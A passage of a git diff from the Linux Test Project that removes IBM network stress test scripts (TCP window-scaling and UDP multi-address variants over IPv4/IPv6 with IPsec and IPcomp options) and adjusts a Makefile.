warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-winscale12 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp6-uni-winscale12 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale13 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale13 deleted file mode 100644 index 4aa9f07d..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale13 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-winscale13 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp6-uni-winscale13 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale14 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale14 deleted file mode 100644 index 22278c8e..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale14 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-winscale14 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp6-uni-winscale14 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/udp/Makefile b/ltp/testcases/network/stress/udp/Makefile index cdd4fb46..55a44997 100644 --- a/ltp/testcases/network/stress/udp/Makefile +++ b/ltp/testcases/network/stress/udp/Makefile @@ -6,7 +6,6 @@ top_srcdir ?= ../../../.. include $(top_srcdir)/include/mk/env_pre.mk -INSTALL_TARGETS := udp_ipsec.sh \ - udp_ipsec_vti.sh +INSTALL_TARGETS := *.sh -include $(top_srcdir)/include/mk/generic_trunk_target.mk +include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/testcases/network/stress/udp/multi-diffip/00_Descriptions.txt b/ltp/testcases/network/stress/udp/multi-diffip/00_Descriptions.txt deleted file mode 100644 index 11b65bf2..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffip/00_Descriptions.txt +++ /dev/null @@ -1,56 +0,0 @@ -Verify that the kernel is not crashed with receiving and sending UDP datagram -at the different IP addresses(aliases) - -udp4-multi-diffip01 - IPv4 - -udp4-multi-diffip02 - IPv4 - IPsec [ AH / transport ] - -udp4-multi-diffip03 - IPv4 - IPsec [ AH / tunnel ] - -udp4-multi-diffip04 - IPv4 - IPsec [ ESP / transport ] - -udp4-multi-diffip05 - IPv4 - IPsec [ ESP / tunnel ] - -udp4-multi-diffip06 - IPv4 - IPcomp [ transport ] - -udp4-multi-diffip07 - IPv4 - IPcomp [ tunnel ] - -udp6-multi-diffip01 - IPv6 - -udp6-multi-diffip02 - IPv6 - IPsec [ AH / transport ] - -udp6-multi-diffip03 - IPv6 - IPsec [ AH / tunnel ] - -udp6-multi-diffip04 - IPv6 - IPsec [ ESP / transport ] - -udp6-multi-diffip05 - IPv6 - IPsec [ ESP / tunnel ] - -udp6-multi-diffip06 - IPv6 - IPcomp [ transport ] - -udp6-multi-diffip07 - IPv6 - IPcomp [ tunnel ] diff --git a/ltp/testcases/network/stress/udp/multi-diffip/Makefile b/ltp/testcases/network/stress/udp/multi-diffip/Makefile deleted file mode 100644 index 2592c71b..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffip/Makefile +++ /dev/null @@ -1,29 +0,0 @@ -# -# network/stress/udp/multi-diffip testcases Makefile. -# -# Copyright (C) 2009, Cisco Systems Inc. -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# Ngie Cooper, October 2009 -# - -top_srcdir ?= ../../../../.. - -include $(top_srcdir)/include/mk/env_pre.mk - -INSTALL_TARGETS := udp* - -include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip01 b/ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip01 deleted file mode 100644 index c0d50efa..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip01 +++ /dev/null @@ -1,418 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-multi-diffip01 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different IP address(alias) with the following conditions -# - The version of IP is IPv4 -# - IPsec is not used -# -# *) This script may be read by the other test case -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# The test case ID, the test case count and the total number of test case -TCID=${TCID:-udp4-multi-diffip01} -TST_TOTAL=1 -TST_COUNT=1 -export TCID -export TST_COUNT -export TST_TOTAL - -# Test description -tst_resm TINFO "Verify that the kernel is not crashed with receiving and sending UDP datagram at the different IP addresses(aliases) with the following conditions" - -# Make sure the value of LTPROOT -LTPROOT=${LTPROOT:-`(cd ../../../../.. ; pwd)`} -export LTPROOT - -# Check the environmanet variable -. check_envval || exit $TST_TOTAL - -# Dulation of the test [sec] -NS_DURATION=${NS_DURATION:-3600} # 1 hour - -# The number of IP address (alias) -IP_TOTAL_FOR_TCPIP=${IP_TOTAL_FOR_TCPIP:-100} - -#The number of the test link where tests run -LINK_NUM=${LINK_NUM:-0} - -# The version of IP -IP_VER=${IP_VER:-4} - -# true, if ipsec is used -DO_IPSEC=${DO_IPSEC:-false} - -# The value of SPI -SPI=${SPI:-1000} - -# IPsec Protocol ( ah / esp / ipcomp ) -IPSEC_PROTO=${IPSEC_PROTO:-ah} - -# IPsec Mode ( transport / tunnel ) -IPSEC_MODE=${IPSEC_MODE:-transport} - - -#----------------------------------------------------------------------- -# -# Function: do_cleanup -# -# Description: -# Recover the system configuration -# -#----------------------------------------------------------------------- -do_cleanup() -{ - # Kill the udp traffic server - killall_udp_traffic - - # Unset SAD/SPD - output_ipsec_conf flush | setkey -c >/dev/null 2>&1 - $LTP_RSH $RHOST ${LTPROOT}/'testcases/bin/output_ipsec_conf flush | PATH=/sbin:/usr/sbin:$PATH setkey -c' >/dev/null 2>&1 - - # Clean up each interface - initialize_if lhost ${LINK_NUM} - initialize_if rhost ${LINK_NUM} -} - - -#----------------------------------------------------------------------- -# -# Setup -# - -# Unset the maximum number of processes -ulimit -u unlimited - -# Output the informaion -tst_resm TINFO "- Test duration is $NS_DURATION [sec]" -tst_resm TINFO "- Target number of the connection is $IP_TOTAL_FOR_TCPIP" -tst_resm TINFO "- Version of IP is IPv${IP_VER}" - -if $DO_IPSEC ; then - message=`check_setkey` - if [ $? -ne 0 ]; then - tst_resm TBROK "$message" - exit 1 - fi - - case $IPSEC_PROTO in - ah) - tst_resm TINFO "- IPsec [ AH / $IPSEC_MODE ]" - ;; - esp) - tst_resm TINFO "- IPsec [ ESP / $IPSEC_MODE ]" - ;; - ipcomp) - tst_resm TINFO "- IPcomp [ $IPSEC_MODE ]" - ;; - esac -fi - -# name of interface of the local/remote host -lhost_ifname=`get_ifname lhost $LINK_NUM` -if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to get the interface name at the local host" - exit $TST_TOTAL -fi - -rhost_ifname=`get_ifname rhost $LINK_NUM` -if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to get the interface name at the remote host" - exit $TST_TOTAL -fi - -# Initialize the system configuration -do_cleanup - -# Call do_cleanup function before exit -trap do_cleanup 0 - -# Loop to assign IP addresses -ipaddr_pair_num=0 -while [ $ipaddr_pair_num -lt $IP_TOTAL_FOR_TCPIP ]; do - # Add new IP addresses - x=`expr $ipaddr_pair_num \/ 255 % 255` - y=`expr $ipaddr_pair_num % 255` - if [ $x -ge 255 ]; then - tst_resm TINFO "This script cannot add more than $ipaddr_pair_num addresses" - break - fi - - case $IP_VER in - 4) - network_part="10.${x}.${y}" - network_broadcast=${network_part}.255 - network_mask=24 - lhost_addr="${network_part}.2" - rhost_addr="${network_part}.1" - - # Set IPv4 addresses to the interfaces - ip addr add ${lhost_addr}/${network_mask} broadcast $network_broadcast dev $lhost_ifname - - ### delete before setting - if [ $? -eq 2 ]; then - ip addr del ${lhost_addr}/${network_mask} broadcast $network_broadcast dev $lhost_ifname 2>&1 - ip addr add ${lhost_addr}/${network_mask} broadcast $network_broadcast dev $lhost_ifname - fi - - if [ $? -ne 0 ]; then - if [ $ipaddr_pair_num -eq 0 ]; then - tst_resm TBROK "Failed to add any IP address at the local" - exit 1 - else - tst_resm TINFO "The number of IP address at the local host seems to reach the maximum. The number is $ipaddr_pair_num" - fi - break - fi - - ret=`$LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH ip' addr add ${rhost_addr}/${network_mask} broadcast $network_broadcast dev $rhost_ifname' ; echo $?'` - if [ $ret -eq 2 ]; then - $LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH ip' addr del ${rhost_addr}/${network_mask} broadcast $network_broadcast dev $rhost_ifname - ret=`$LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH ip' addr add ${rhost_addr}/${network_mask} broadcast $network_broadcast dev $rhost_ifname' ; echo $?'` - fi - if [ $ret -ne 0 ]; then - if [ $ipaddr_pair_num -eq 0 ]; then - tst_resm TBROK "Failed to add any IP address at the remote" - exit 1 - else - tst_resm TINFO "The number of IP address at the remote host seems to reach the maximum. The number is $ipaddr_pair_num" - fi - break - fi - ;; - - 6) - hex_x=`printf %x $x` - hex_y=`printf %x $y` - - network_part="fd00:1:${hex_x}:${hex_y}" - network_mask=64 - lhost_addr="${network_part}::2" - rhost_addr="${network_part}::1" - - # Set IPv6 addresses to the interfaces - ip addr add ${lhost_addr}/${network_mask} dev $lhost_ifname - - if [ $? -eq 2 ]; then - ip addr del ${lhost_addr}/${network_mask} dev $lhost_ifname 2>&1 - ip addr add ${lhost_addr}/${network_mask} dev $lhost_ifname - fi - - if [ $? -ne 0 ]; then - if [ $ipaddr_pair_num -eq 0 ]; then - tst_resm TBROK "Failed to add any IP address at the local" - exit 1 - else - tst_resm TINFO "The number of IP address at the local host seems to reach the maximum. The number is $ipaddr_pair_num" - fi - break - fi - - ret=`$LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH ip' addr add ${rhost_addr}/${network_mask} dev $rhost_ifname' ; echo $?'` - - if [ $ret -eq 2 ]; then - LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH ip' addr del ${rhost_addr}/${network_mask} dev $rhost_ifname - ret=`$LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH ip' addr add ${rhost_addr}/${network_mask} dev $rhost_ifname' ; echo $?'` - fi - - if [ $ret -ne 0 ]; then - if [ $ipaddr_pair_num -eq 0 ]; then - tst_resm TBROK "Failed to add any IP address at the remote" - exit 1 - else - tst_resm TINFO "The number of IP address at the remote host seems to reach the maximum. The number is $ipaddr_pair_num" - fi - break - fi - ;; - esac - - # Set SAD/SPD - if $DO_IPSEC ; then - ipsec_log=`mktemp -p $TMPDIR` - output_ipsec_conf src \ - $IPSEC_PROTO $IPSEC_MODE $SPI $lhost_addr $rhost_addr \ - | setkey -c 2>&1 | tee $ipsec_log - if [ $? -ne 0 -o -s $ipsec_log ]; then - rm -f $ipsec_log - if [ $ipaddr_pair_num -eq 0 ]; then - tst_resm TBROK "Failed to add any SAD/SPD" - exit 1 - else - tst_resm TINFO "The number of SAD/SPD seems to reach the maximum at the local host." - fi - break - fi - rm -f $ipsec_log - - $LTP_RSH $RHOST ${LTPROOT}/testcases/bin/output_ipsec_conf dst $IPSEC_PROTO $IPSEC_MODE $SPI $lhost_addr $rhost_addr' | PATH=/sbin:/usr/sbin:$PATH setkey -c' 2>&1 | tee $ipsec_log - if [ $? -ne 0 -o -s $ipsec_log ]; then - rm -f $ipsec_log - if [ $ipaddr_pair_num -eq 0 ]; then - tst_resm TBROK "Failed to add any SAD/SPD" - exit 1 - else - tst_resm TINFO "The number of SAD/SPD seems to reach the maximum at the remote host." - fi - break - fi - rm -f $ipsec_log - fi - - # Check the connectivity - case $IP_VER in - 4) - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/check_icmpv4_connectivity $rhost_ifname $lhost_addr' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "No IPv4 connectivity among ${ipaddr_pair_num}th IP a - ddress pair" - exit 1 - fi - ;; - - 6) - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/check_icmpv6_connectivity $rhost_ifname $lhost_addr' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "No IPv6 connectivity among ${ipaddr_pair_num}th IP a - ddress pair" - exit 1 - fi - ;; - esac - - if [ $? -ne 0 ]; then - tst_resm TFAIL "There is no connectivity." - exit 1 - fi - - ipaddr_pair_num=`expr $ipaddr_pair_num + 1` -done - - -#----------------------------------------------------------------------- -# -# Main -# -# - -# Find the available consecutive ports -server_port=`find_portbundle udp 1025 1` -if [ $? -ne 0 ]; then - tst_resm TBROK "No port is available." - exit 1 -fi - -# Run a UDP traffic server -info_file=`mktemp -p $TMPDIR` -ns-udpserver -b -f $IP_VER -p $server_port -o $info_file -if [ $? -ne 0 ]; then - tst_resm TFAIL "Failed to run a UDP traffic server" - exit 1 -fi - -# Collect the information of the server -while true ; do - if [ -s $info_file ]; then - break - fi -done -server_pid=`grep PID: $info_file | cut -f 2 -d ' '` -rm -f $info_file - -# Make connections -connection_num=0 -while [ $connection_num -lt $ipaddr_pair_num ]; do - # IP addresses - x=`expr $connection_num \/ 255 % 255` - y=`expr $connection_num % 255` - - case $IP_VER in - 4) - lhost_addr="10.${x}.${y}.2" - ;; - - 6) - hex_x=`printf %x $x` - hex_y=`printf %x $y` - lhost_addr="fd00:1:${hex_x}:${hex_y}::2" - ;; - esac - - # Run a client - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/ns-udpclient -b -f $IP_VER -S $lhost_addr -p $server_port' ; echo $?'` - if [ $ret -ne 0 ]; then - if [ $connection_num -eq 0 ]; then - tst_resm TFAIL "Failed to run any client" - exit 1 - else - tst_resm TINFO "$connection_num seems the maximum number of the client" - fi - break - fi - connection_num=`expr $connection_num + 1` -done - - -# Watch the UDP traffic server -start_epoc=`date +%s` -while true ; do - current_epoc=`date +%s` - elapse_epoc=`expr $current_epoc - $start_epoc` - - if [ $elapse_epoc -ge $NS_DURATION ]; then - break - else - ps auxw | fgrep ns-udpserver | fgrep -l $server_pid >/dev/null 2>&1 - if [ $? -ne 0 ]; then - tst_resm TFAIL "udp traffic server is dead in $elapse_epoc [sec]" - exit 1 - fi - fi - sleep 1 -done - - -#----------------------------------------------------------------------- -# -# Clean up -# - -tst_resm TPASS "Test is finished successfully." -exit 0 diff --git a/ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip02 b/ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip02 deleted file mode 100644 index 010915e8..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip02 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-multi-diffip02 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different IP address(alias) with the following conditions -# - The version of IP is IPv4 -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=udp4-multi-diffip02 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. udp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip03 b/ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip03 deleted file mode 100644 index 1de52bee..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip03 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-multi-diffip03 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different IP address(alias) with the following conditions -# -# - The version of IP is IPv4 -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=udp4-multi-diffip03 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. udp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip04 b/ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip04 deleted file mode 100644 index e321096a..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip04 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-multi-diffip04 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different IP address(alias) with the following conditions -# - The version of IP is IPv4 -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=udp4-multi-diffip04 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. udp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip05 b/ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip05 deleted file mode 100644 index f6cdeeab..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip05 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-multi-diffip05 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different IP address(alias) with the following conditions -# -# - The version of IP is IPv4 -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=udp4-multi-diffip05 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. udp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip06 b/ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip06 deleted file mode 100644 index f601385c..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip06 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-multi-diffip06 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different IP address(alias) with the following conditions -# -# - The version of IP is IPv4 -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=udp4-multi-diffip06 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. udp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip07 b/ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip07 deleted file mode 100644 index 4997ec20..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip07 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-multi-diffip07 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different IP address(alias) with the following conditions -# - The version of IP is IPv4 -# - IPcomp, tunnel mode -# -# 